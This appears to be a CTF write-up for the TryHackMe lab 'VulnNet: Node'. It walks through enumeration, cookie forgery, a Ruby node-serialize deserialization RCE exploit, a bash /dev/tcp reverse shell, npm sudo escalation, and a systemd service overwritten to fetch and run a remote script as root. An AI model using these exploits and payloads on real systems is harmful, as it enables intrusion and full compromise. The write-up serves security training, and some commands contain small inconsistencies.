VulnNet: Node - Write-up - TryHackMe

Information

Room#

  • Name: VulnNet: Node
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: After the previous breach, VulnNet Entertainment states it won't happen again. Can you prove they're wrong?

VulnNet: Node

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap ffuf ruby-ctf-party ruby-httpclient gtfoblookup pwncat

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
# Nmap 7.91 scan initiated Mon Mar 29 15:50:00 2021 as: nmap -sSVC -p- -oA nmap_full 10.10.45.222
Nmap scan report for 10.10.45.222
Host is up (0.025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 15:51:26 2021 -- 1 IP address (1 host up) scanned in 85.79 seconds

There is a Node.js Express framework web app.

Web enumeration#

The web application is running on port 8080.

That's a basic blog:the home page is hosting the blog posts and there is a login page at /login.

Let's try to find hidden pages and folders:

1
2
3
4
5
6
7
8
9
10
$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -fc 403
...
css [Status: 301, Size: 173, Words: 7, Lines: 11]
login [Status: 200, Size: 2127, Words: 240, Lines: 113]
img [Status: 301, Size: 173, Words: 7, Lines: 11]
[Status: 200, Size: 7577, Words: 706, Lines: 1]

$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -fc 403

$ ffuf -u http://10.10.45.222:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fc 403 -e .js

I didn't find anything more than the login page.

We can collect the name of the authors for further username bruteforce if needed.

1
2
3
4
Tilo Mitra
Eric Ferraiuolo
Reid Burke
Andrew Wooldridge

We can't bruteforce the login page yet as we don't have a valid email format.

Web analysis#

We can see on our requests that we have a cookie set:

1
2
3
4
5
6
7
8
9
10
11
GET /login HTTP/1.1
Host: 10.10.45.222:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.45.222:8080/
Connection: close
Cookie: session=eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

With ctf-party we can URL-decode and base64-decode the cookie.

1
2
3
$ ctf_party_console
irb(main):003:0> puts 'eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D'.urldecode.from_b64
{"username":"Guest","isGuest":true,"encoding": "utf-8"}

Let's try to craft a new one using ctf-party again.

1
2
3
4
5
6
irb(main):004:0> cookie = {"username":"Guest","isGuest":true,"encoding": "utf-8"}
irb(main):006:0> cookie[:username] = 'admin'
irb(main):007:0> cookie[:isGuest] = false
irb(main):009:0> require 'json'
irb(main):012:0> cookie.to_json.to_b64.urlencode
=> "eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNHdWVzdCI6ZmFsc2UsImVuY29kaW5nIjoidXRmLTgifQ%3D%3D"

But using this cookie the app doesn't redirect us anywhere when requesting /login. However on the home page we can see Welcome, admin, acknowledging the cookie spoofing worked. Let's request the home page with an erroneous cookie, maybe a stack trace could leak some technology used.

Sending a partially deleted cookie returns an HTTP error 500 and the following stack trace:

1
2
3
4
5
6
7
8
9
10
11
SyntaxError: Unexpected end of JSON input
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/www/VulnNet-Node/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/www/VulnNet-Node/server.js:16:24
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/www/VulnNet-Node/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/www/VulnNet-Node/node_modules/express/lib/router/layer.js:95:5)
at /home/www/VulnNet-Node/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:335:12)
at next (/home/www/VulnNet-Node/node_modules/express/lib/router/index.js:275:10)

We have a helpful full path disclosure and we notice that an unserialization is done.

Web exploitation#

Using this article (Exploiting Node.js deserialization bug for Remote Code Execution) and this exploit ( EDB-ID-49552) I re-created a better exploit in ruby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
require 'ctf_party' # gem install ctf-party
require 'json'
require 'httpclient' # gem install httpclient

# change values here
URL = 'http://10.10.163.253:8080/'
LHOST = '10.9.19.77'
LPORT = 8888
FILE = 'noraj.sh'

payload = """
require('child_process').exec('curl #{LHOST}:#{LPORT}/#{FILE} | bash', function(error, stdout, stderr)
{ console.log(stdout) })
""".gsub("\n", '')

puts payload

code = "_$$ND_FUNC$$_#{payload}"

cookie = { username: code, isAdmin: true, encoding: 'utf-8' }

headers = {
'Cookie' => "session=#{cookie.to_json.to_b64.urlencode}"
}

clnt = HTTPClient.new
clnt.cookie_manager = nil
clnt.get(URI(URL), nil, headers)

Before executing it let's create noraj.sh that will be downloaded an executed.

1
bash -i >& /dev/tcp/10.9.19.77/9999 0>&1

Start a web server to serve the script:

1
$ ruby -run -e httpd . -p 8888

Start a reverse shell listener:

1
$ pwncat -lvv 9999

Then execute the exploit:

1
$ ruby node_serialize.rb

And we get the shell:

1
2
www@vulnnet-node:~/VulnNet-Node$ id
uid=1001(www) gid=1001(www) groups=1001(www)

EoP: from www-data to serv-manage#

We can run npm as serv-manage:

1
2
3
4
5
6
7
www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
(serv-manage) NOPASSWD: /usr/bin/npm

There is an EoP vector looking at GTFObins:

1
2
3
4
5
6
7
8
$ gtfoblookup linux sudo npm  
npm:

sudo:

Code: TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i

Let's do this:

1
2
3
$ TF=$(mktemp -d)
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

But we have an error like we do not have permission in created folder in /tmp so let's try /dev/shm instead.

1
2
3
4
$ mkdir /dev/shm/noraj
$ TF=/dev/shm/noraj
$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

That give me a shell as serv-manage:

1
2
3
4
5
> @ preinstall /dev/shm/noraj
> /bin/sh

id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

EoP: from serv-manage to root#

We can start/stop a systemd timer called vulnnet-auto:

1
2
3
4
5
6
7
8
9
$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
(root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
(root) NOPASSWD: /bin/systemctl daemon-reload

With systemctl status we can find the path of the timer file:

1
2
3
4
5
$ systemctl status vulnnet-auto.timer
● vulnnet-auto.timer - Run VulnNet utilities every 30 min
Loaded: loaded (/etc/systemd/system/vulnnet-auto.timer; disabled; vendor preset: enabled)
Active: inactive (dead)
Trigger: n/a

The file is writable by our user:

1
2
$ ls -lh /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24 16:59 /etc/systemd/system/vulnnet-auto.timer

Let's see /etc/systemd/system/vulnnet-auto.timer:

1
2
3
4
5
6
7
8
9
10
11
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

The timer is starting a job after 30min.

We can find the service and see it is writable by our user:

1
2
3
4
5
6
7
$ systemctl status vulnnet-job.service
● vulnnet-job.service - Logs system statistics to the systemd journal
Loaded: loaded (/etc/systemd/system/vulnnet-job.service; disabled; vendor preset: enabled)
Active: inactive (dead)

$ ls -lh /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24 21:40 /etc/systemd/system/vulnnet-job.service

/etc/systemd/system/vulnnet-job.service

1
2
3
4
5
6
7
8
9
10
11
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

Let's replace the executed payload with a reverse shell in /etc/systemd/system/vulnnet-job.service.

1
2
-ExecStart=/bin/df
+ExecStart=/bin/bash -c "curl 10.9.19.77:8888/noraj.sh | bash"/'

I can't use nano or sed -i or some other fancy methods because the folder is not writable.

1
$ echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUxvZ3Mgc3lzdGVtIHN0YXRpc3RpY3MgdG8gdGhlIHN5c3RlbWQgam91cm5hbApXYW50cz12dWxubmV0LWF1dG8udGltZXIKCltTZXJ2aWNlXQojIEdhdGhlciBzeXN0ZW0gc3RhdGlzdGljcwpUeXBlPWZvcmtpbmcKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAiY3VybCAxMC45LjE5Ljc3Ojg4ODgvbm9yYWouc2ggfCBiYXNoIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /etc/systemd/system/vulnnet-job.service

Let's stop the timer, reload modified files on disk and start the timer:

1
2
3
$ sudo /bin/systemctl stop vulnnet-auto.timer
$ sudo /bin/systemctl daemon-reload
$ sudo /bin/systemctl start vulnnet-auto.timer

Loot our root shell:

1
2
3
4
5
6
7
8
9
$ pwncat -lvv 7777
INFO: Listening on :::7777 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:7777 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.163.253:40950 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1359): Inappropriate ioctl for device
bash: no job control in this shell
root@vulnnet-node:/# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnnet-node:/# cat /root/root.txt
Share